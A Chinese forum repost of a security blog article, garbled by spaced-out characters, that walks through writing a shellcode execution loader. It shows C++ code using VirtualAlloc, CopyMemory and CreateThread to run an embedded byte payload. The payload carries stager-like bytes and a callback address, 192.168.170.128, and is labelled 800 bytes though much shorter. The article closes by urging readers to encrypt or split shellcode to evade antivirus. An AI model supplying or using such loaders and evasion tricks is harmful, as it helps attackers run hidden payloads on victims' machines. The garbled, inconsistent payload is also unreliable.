搜索

[27232] 2021-04-19_投稿初始Shellcode之Shellcode执行工具编写思路

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-19
2021-04-19_投稿初始Shellcode之Shellcode执行工具编写思路 投 稿   |   初 始 S h e l l c o d e 之 S h e l l c o d e 执 行 工 具 编 写 思 路 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 4 - 1 9 收 录 于 话 题   # 奇 技 淫 巧   , 4 个 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   公 众 号 读 者 投 稿 公 众 号 读 者 投 稿 本 文 作 者 ： A r k s 7 （ M s 0 8 0 6 7 实 验 室 读 者 ）   这 是 一 段 C + +   加 载 器 的 代 码 ， 代 码 来 之 倾 旋 大 佬 的 博 客 ， 先 看 大 佬 给 的 注 释 。 # i n c l u d e / /   入 口 函 数 i n t   w m a i n ( i n t   a r g c , T C H A R   *   a r g v [ ] ) {         i n t   s h e l l c o d e _ s i z e   =   0 ;   / /   s h e l l c o d e 长 度         D W O R D   d w T h r e a d I d ;   / /   线 程 I D         H A N D L E   h T h r e a d ;   / /   线 程 句 柄 / *   l e n g t h :   8 0 0   b y t e s   * / u n s i g n e d   c h a r   b u f [ ]   = " x 2 d x 5 3 x 5 4 x 4 1 x 4 e x 4 4 x 4 1 x 5 2 x 4 4 x 2 d x 4 1 x 4 e x 5 4 x 4 9 x 5 6 x 4 9 x 5 2 x 5 5 x 5 3 x 2 d x 5 4 x 4 5 x 5 3 x 5 4 x 2 d x 4 6 x 4 9 x 4 c x 4 5 x 2 1 x 2 4 x 4 8 x 2 b x 4 8 x 2 a x 0 0 x 3 5 x 4 f x 2 1 x 5 0 x 2 5 x 4 0 x 4 1 x 5 0 x 5 b x 0 0 x 6 8 x f 0 x b 5 x a 2 x 5 6 x f f x d 5 x 6 a x 4 0 x 6 8 x 0 0 x 1 0 x 0 0 x 0 0 x 6 8 x 0 0 x 0 0 x 4 0 x 0 0 x 5 7 x 6 8 x 5 8 x a 4 x 5 3 x e 5 x f f x d 5 x 9 3 x b 9 x 0 0 x 0 0 x 0 0 x 0 0 x 0 1 x d 9 x 5 1 x 5 3 x 8 9 x e 7 x 5 7 x 6 8 x 0 0 x 2 0 x 0 0 x 0 0 x 5 3 x 5 6 x 6 8 x 1 2 x 9 6 x 8 9 x e 2 x f f x d 5 x 8 5 x c 0 x 7 4 x c 6 x 8 b x 0 7 x 0 1 x c 3 x 8 5 x c 0 x 7 5 x e 5 x 5 8 x c 3 x e 8 x a 9 x f d x f f x f f x 3 1 x 3 9 x 3 2 x 2 e x 3 1 x 3 6 x 3 8 x 2 e x 3 1 x 3 7 x 3 0 x 2 e x 3 1 x 3 2 x 3 8 x 0 0 x 0 0 x 0 0 x 0 0 x 0 0 / /   获 取 s h e l l c o d e 大 小 s h e l l c o d e _ s i z e   =   s i z e o f ( b u f ) ; / * V i r t u a l A l l o c (         N U L L ,   / /   基 址         8 0 0 ,     / /   大 小         M E M _ C O M M I T ,   / /   内 存 页 状 态         P A G E _ E X E C U T E _ R E A D W R I T E   / /   可 读 可 写 可 执 行         ) ; * / c h a r   *   s h e l l c o d e   =   ( c h a r   * ) V i r t u a l A l l o c (         N U L L ,         s h e l l c o d e _ s i z e ,         M E M _ C O M M I T ,         P A G E _ E X E C U T E _ R E A D W R I T E         ) ;         / /   将 s h e l l c o d e 复 制 到 可 执 行 的 内 存 页 中 C o p y M e m o r y ( s h e l l c o d e , b u f , s h e l l c o d e _ s i z e ) ; h T h r e a d   =   C r e a t e T h r e a d (         N U L L ,   / /   安 全 描 述 符         N U L L ,   / /   栈 的 大 小         ( L P T H R E A D _ S T A R T _ R O U T I N E ) s h e l l c o d e ,   / /   函 数         N U L L ,   / /   参 数         N U L L ,   / /   线 程 标 志         & d w T h r e a d I d   / /   线 程 I D         ) ; W a i t F o r S i n g l e O b j e c t ( h T h r e a d , I N F I N I T E ) ;   / /   一 直 等 待 线 程 执 行 结 束         r e t u r n   0 ; } 从 大 佬 的 注 释 就 可 以 很 明 确 的 看 出 来 使 用 V i r t u a l A l l o c 函 数 申 请 内 存 ， 然 后 使 用 C o p y M e m o r y 将 s h e l l c o d e 复 制 到 目 标 内 存 中 ， C r e a t e T h r e a d 创 建 一 个 新 的 线 程 。 V i r t u a l A l l o c 百 度 的 解 释 ： V i r t u a l A l l o c 是 一 个 W i n d o w s A P I 函 数 ， 该 函 数 的 功 能 是 在 调 用 进 程 的 虚 地 址 空 间 , 预 定 或 者 提 交 一 部 分 页 。 简 单 点 的 意 思 就 是 申 请 内 存 空 间 。 这 里 我 来 用 易 语 言 复 现 一 下 这 个 过 程 ， 易 语 言 比 较 时 候 刚 接 触 的 人 理 解 吧 。 这 里 S h e l l c o d e   需 要 转 换 为 字 节 集 才 可 以 在 易 语 言 上 面 运 行 O K ， 成 功 运 行 ， 也 就 说 明 我 们 的 思 路 是 没 有 问 题 的 。 加 载 器 的 思 路 没 有 问 题 ， 那 么 我 们 就 可 以 对 s h e l l c o d e   进 行 加 密 免 杀 或 者 分 离 免 杀 。 明 确 了 思 路 ， 那 么 G i t h u b   搜 索   各 位 师 傅 们 的 吊 炸 天 的 B y p a s s   脚 本 ， 自 己 拿 来 修 改 一 下 ， 那 么 就 是 又 一 个 屌 炸 天 的 B y p a s s 。 文 章 可 能 简 单 ， 但 主 要 是 讲 解 思 路 . . . .
目 前 目 前 4 0 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理